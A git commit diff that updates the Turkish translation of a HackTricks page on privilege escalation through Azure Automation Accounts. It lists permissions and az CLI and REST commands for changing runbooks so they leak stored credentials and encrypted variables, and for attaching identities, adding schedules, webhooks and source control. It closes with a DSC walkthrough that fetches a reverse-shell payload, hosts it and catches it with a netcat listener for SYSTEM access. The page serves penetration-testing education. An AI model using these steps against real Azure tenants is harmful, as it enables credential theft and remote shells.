Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 21:12:34 +00:00
parent 7ecbdd5554
commit 88dcc46232
@@ -1,40 +1,40 @@
# Az - Azure Automation Hesapları Privesc
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Hesapları
## Azure Automation Accounts
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için bakınız:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### Hibrit Çalışanlar Grubu
### Hybrid Workers Group
- **Otomasyon Hesabından VM'ye**
- **From the Automation Account to the VM**
Unutmayın ki eğer bir saldırgan bir hibrit çalışanda rastgele bir runbook (rastgele kod) çalıştırabilirse, **VM'nin konumuna geçiş yapacaktır**. Bu, bir yerel makine, farklı bir bulutun VPC'si veya hatta bir Azure VM olabilir.
Bir saldırgan bir hybrid worker üzerinde rastgele bir runbook (rastgele kod) çalıştırabilirse, **VM'in bulunduğu yere pivot yapacağını** unutmayın. Bu bir on-premise makine, farklı bir cloud'un VPC'si veya hatta bir Azure VM olabilir.
Ayrıca, eğer hibrit çalışan Azure'da diğer Yönetilen Kimliklerle birlikte çalışıyorsa, runbook **runbook'un yönetilen kimliğine ve VM'nin metadata hizmetinden tüm yönetilen kimliklerine erişim sağlayacaktır**.
Ayrıca, hybrid worker Azure içinde diğer Managed Identities eklenmiş olarak çalışıyorsa, runbook **runbook'un managed identity'sine ve VM'in tüm managed identity'lerine metadata service üzerinden** erişebilecektir.
> [!TIP]
> **Metadata hizmetinin** otomasyon hesabının yönetilen kimlik token'ını aldığı hizmetten (**`IDENTITY_ENDPOINT`**) farklı bir URL'si vardır (**`http://169.254.169.254`**).
> Unutmayın ki **metadata service** farklı bir URL'ye sahiptir (**`http://169.254.169.254`**) ve automation account'un managed identities token'ını aldığı servis olan (**`IDENTITY_ENDPOINT`**) farklıdır.
- **VM'den Otomasyon Hesabına**
- **From the VM to the Automation Account**
Ayrıca, eğer birisi otomasyon hesabı scriptinin çalıştığı bir VM'yi ele geçirirse, **Otomasyon Hesabı** metadata'sını bulabilecek ve VM'den erişerek **Otomasyon Hesabına** bağlı **Yönetilen Kimlikler** için token'lar alabilecektir.
Ayrıca, birisi Automation Account script'inin çalıştığı bir VM'i ele geçirirse, **Automation Account** metadata'sını bulup VM üzerinden erişerek Automation Account'a bağlı **Managed Identities** için token alabilecektir.
Aşağıdaki görüntüde görüldüğü gibi, VM üzerinde Yönetici erişimine sahip olmak, **işlem ortam değişkenlerinde** otomasyon hesabı metadata hizmetine erişim sağlamak için URL ve gizli anahtarı bulmayı mümkün kılar:
Aşağıdaki görselde görülebileceği gibi, VM üzerinde Administrator erişimi varsa, otomasyon hesabı metadata servisine erişmek için URL ve secret'i sürecin **environment variables**'larında bulmak mümkünr:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Özetle, bu izinler **Otomasyon Hesabında Runbook'lar oluşturma, değiştirme ve çalıştırma** yetkisi verir; bu da **Otomasyon Hesabı bağlamında kod çalıştırmak** ve atanan **Yönetilen Kimliklere** ayrıcalıkları yükseltmek için kullanılabilir ve **kimlik bilgilerini** ve **şifrelenmiş değişkenleri** otomasyon hesabında sızdırabilir.
Özetle bu izinler Automation Account içinde **Runbooks oluşturma, değiştirme ve çalıştırma** imkânı verir; bunları Automation Account bağlamında **kod yürütmek** ve atanan **Managed Identities** üzerinde yetki yükseltmek, ayrıca Automation Account içinde saklanan **credentials** ve **encrypted variables**'ları leak etmek için kullanabilirsiniz.
**`Microsoft.Automation/automationAccounts/runbooks/draft/write`** izni, otomasyon hesabındaki bir Runbook'un kodunu değiştirmeye olanak tanır:
İzin **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** bir Automation Account içindeki bir Runbook'un kodunu şu şekilde değiştirmeye izin verir:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Not edin ki önceki script, bir kimlik bilgisi için **kullanıcı adı ve şifreyi** ve Automation Account'ta saklanan bir **şifreli değişkenin** değerini **sızdırmak** için kullanılabilir.
Önceki betiğin, bir credential'ın **kullanıcı adı ve parolayı leak etmek** ve Automation Account içinde saklanan bir **şifrelenmiş değişken**in değerini almak için nasıl kullanılabileceğine dikkat edin.
**`Microsoft.Automation/automationAccounts/runbooks/publish/action`** izni, kullanıcının Automation Account'ta bir Runbook yayınlamasına izin verir, böylece değişiklikler uygulanır:
İzin **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** kullanıcının Automation Account içinde bir Runbook yayınlamasına ve böylece değişikliklerin uygulanmasına izin verir:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcının Automation Account içinde bir Runbook çalıştırmasına olanak tanır:
İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcıya Automation Account içinde bir Runbook çalıştırma izni verir; kullanarak:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
İzin **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account'taki bir işin çıktısını okumasına olanak tanır:
Yetki **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account içindeki bir job'ın çıktısını şu şekilde okumasına olanak tanır:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Eğer oluşturulmuş Runbook'lar yoksa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak:
Eğer Runbooks oluşturulmadıysa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **şu izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Bu izin, kullanıcının **Automation Account'a bir kullanıcı yönetilen kimliği atamasına** olanak tanır:
Bu izin, kullanıcının Automation Account'a **assign a user managed identity** atamasına olanak tanır:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
**`Microsoft.Automation/automationAccounts/schedules/write`** izni ile, her 15 dakikada bir (çok gizli değil) çalışan yeni bir Takvim oluşturmak mümkündür. Aşağıdaki komut kullanılarak yapılabilir.
İzin **`Microsoft.Automation/automationAccounts/schedules/write`** ile, aşağıdaki komut kullanılarak Automation Account içinde her 15 dakikada bir çalıştırılan yeni bir Schedule oluşturmak mümkündür (çok gizli değil).
Takvim için **minimum aralığın 15 dakika** olduğunu ve **minimum başlangıç zamanının 5 dakika** gelecekte olduğunu unutmayın.
Dikkat: **Schedule için minimum aralık 15 dakikadır**, ve **minimum başlangıç zamanı gelecekte en az 5 dakikadır**.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Sonra, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izni ile bir runbook'a bir Zamanlayıcı atamak mümkündür:
Böylece, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izniyle bir Scheduler'ı runbook'a şu şekilde atamak mümkündür:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> Önceki örnekte jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örneği** olarak bırakılmıştır, ancak bu atamayı oluşturmak için keyfi bir değer kullanmanız gerekecektir.
> Önceki örnekte jobchedule id'si **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örnek olarak** bırakıldı, ancak bu atamayı oluşturmak için rastgele bir değer kullanmanız gerekecek.
### `Microsoft.Automation/automationAccounts/webhooks/write`
**`Microsoft.Automation/automationAccounts/webhooks/write`** izni ile bir Automation Account içindeki Runbook için yeni bir Webhook oluşturmak mümkündür. Aşağıdaki komutu kullanarak bunu yapabilirsiniz.
İzin **`Microsoft.Automation/automationAccounts/webhooks/write`** ile bir Automation Account içindeki bir Runbook için yeni bir Webhook oluşturmak mümkündür; aşağıdaki komutlardan biri kullanılarak yapılabilir.
Azure Powershell ile:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Bu komut, yalnızca oluşturma sırasında görüntülenen bir webhook URI'si döndürmelidir. Ardından, runbook'u webhook URI'sini kullanarak çağırmak için
AzureCLI ve REST ile:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Bu komutlar yalnızca oluşturma sırasında görüntülenen bir webhook URI döndürmelidir. Daha sonra, runbook'u webhook URI kullanarak çağırmak için
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu** yayımlamadan güncellemek ve aşağıdaki komutları kullanarak çalıştırmak mümkündür.
Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu yayımlamadan güncellemek** ve bunu aşağıdaki komutlarla çalıştırmak mümkündür.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Bu izin, kullanıcının **Automation Account için bir kaynak kontrolü yapılandırmasına** olanak tanır ve aşağıdaki gibi komutlar kullanır (bu örnek olarak Github'ı kullanır):
Bu izin, kullanıcıya Automation Account için aşağıdaki gibi komutlar kullanarak **kaynak kontrolü yapılandırma** yetkisi verir (örnek olarak Github kullanılmıştır):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Bu, runbook'ları Github deposundan Automation Account'a otomatik olarak içe aktaracak ve bazı diğer izinlerle çalıştırmaya başlamak **yetkileri yükseltmek** mümkün olacaktır.
Bu, Github repository'sindeki runbooks'ları Automation Account'a otomatik olarak içe aktarır ve bunları çalıştırmaya başlamak için bazı ek izinlerle **possible to escalate privileges**.
Ayrıca, Automation Accounts'ta kaynak kontrolünün çalışabilmesi için yönetilen bir kimliğe sahip olması gerektiğini ve eğer bu bir kullanıcı yönetilen kimliği ise MI'nin istemci kimliğinin **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde belirtilmesi gerektiğini unutmayın.
Ayrıca unutmayın: source control'un Automation Accounts içinde çalışabilmesi için roleü **`Contributor`** olan bir managed identity'ye sahip olması gerekir; eğer bu user managed identity ise MI'nin client id'si **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde belirtilmelidir.
> [!TIP]
> Oluşturulduktan sonra bir kaynak kontrolünün repo URL'sini değiştirmenin mümkün olmadığını unutmayın.
> Oluşturulduktan sonra bir source control'ün repo URL'sini değiştirmek mümkün değildir.
### `Microsoft.Automation/automationAccounts/variables/write`
**`Microsoft.Automation/automationAccounts/variables/write`** izni ile aşağıdaki komutu kullanarak Automation Account'ta değişkenler yazmak mümkündür.
**`Microsoft.Automation/automationAccounts/variables/write`** izni ile Automation Account içinde değişkenler aşağıdaki komut kullanılarak yazılabilir.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,53 +231,53 @@ az rest --method PUT \
}
}'
```
### Özel Çalışma Ortamları
### Özel Runtime Ortamları
Eğer bir otomasyon hesabı özel bir çalışma ortamı kullanıyorsa, çalışma ortamının özel bir paketini bazı kötü niyetli kodlarla (örneğin **bir arka kapı**) değiştirmek mümkün olabilir. Bu şekilde, o özel çalışma ortamını kullanan bir runbook çalıştırıldığında ve özel paket yüklendiğinde, kötü niyetli kod çalıştırılacaktır.
Eğer bir automation account custom runtime environment kullanıyorsa, runtime'ın bir custom package'ı kötü amaçlı kodla (ör. **a backdoor**) üzerine yazılabilir. Bu durumda, o custom runtime'ı kullanan bir runbook her çalıştırıldığında ve custom package'ı yüklediğinde, kötü amaçlı kod çalıştırılacaktır.
### Durum Yapılandırmasını Tehdit Etme
### State Configuration'ı İstismar Etme
**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Adım 1 — Dosyaları Oluşturma
- Step 1 — Dosyaları Oluşturma
**Gerekli Dosyalar:** İki PowerShell betiğine ihtiyaç vardır:
1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir İstenilen Durum Yapılandırması (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir.
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betik, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur.
**Files Required:** İki PowerShell script'i gereklidir:
1. `reverse_shell_config.ps1`: Payload'ı çekip çalıştıran bir Desired State Configuration (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) üzerinden edinilebilir.
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'e publish etmek için bir script. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) üzerinde mevcuttur.
**Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortama göre, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir.
**Customization:** Bu dosyalardaki değişkenler ve parametreler, kaynak isimleri, dosya yolları ve sunucu/payload tanımlayıcıları dahil olmak üzere kullanıcının ortamına göre özelleştirilmelidir.
- Adım 2 — Yapılandırma Dosyasını Sıkıştırma
- Step 2 — Konfigürasyon Dosyasını Zip'leme
`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Depolama Hesabına aktarım için hazır hale gelir.
`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır ve Azure Storage Account'a aktarım için hazır hale getirilir.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Adım 3 — Depolama Bağlamını Ayarla ve Yükle
- Adım 3 — Depolama Bağlamını Ayarla & Yükle
Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış bir Azure Depolama konteyneri olan azure-pentest'e yüklenir.
Sıkıştırılmış yapılandırma dosyası, önceden tanımlanmış Azure Storage container'ı azure-pentest'e Azure'ın Set-AzStorageBlobContent cmdlet'i ile yüklenir.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Adım 4 — Kali Kutusunu Hazırlama
- Adım 4 — Kali Box'ı Hazırla
Kali sunucusu, RevPS.ps1 yükünü bir GitHub deposundan indirir.
Kali sunucusu, RevPS.ps1 payload'ını bir GitHub deposundan indirir.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Hedef Windows VM ve ters shell için port belirtmek üzere script düzenlenir.
Script, hedef Windows VM ve reverse shell için portu belirtmek üzere düzenlenir.
- Adım 5 — Yapılandırma Dosyasını Yayınla
Yapılandırma dosyası çalıştırılır ve sonuç olarak ters shell scripti belirtilen konuma Windows VM üzerinde dağıtılır.
Yapılandırma dosyası çalıştırılır; bunun sonucunda reverse-shell script, Windows VM üzerindeki belirtilen konuma dağıtılır.
- Adım 6 — Payload'ı Barındır ve Dinleyici Kur
- Adım 6 — Payload'ı barındır ve Listener kur
Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur.
Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat listener kurulur.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
Zamanlanmış görev payload'u çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
{{#include ../../../banners/hacktricks-training.md}}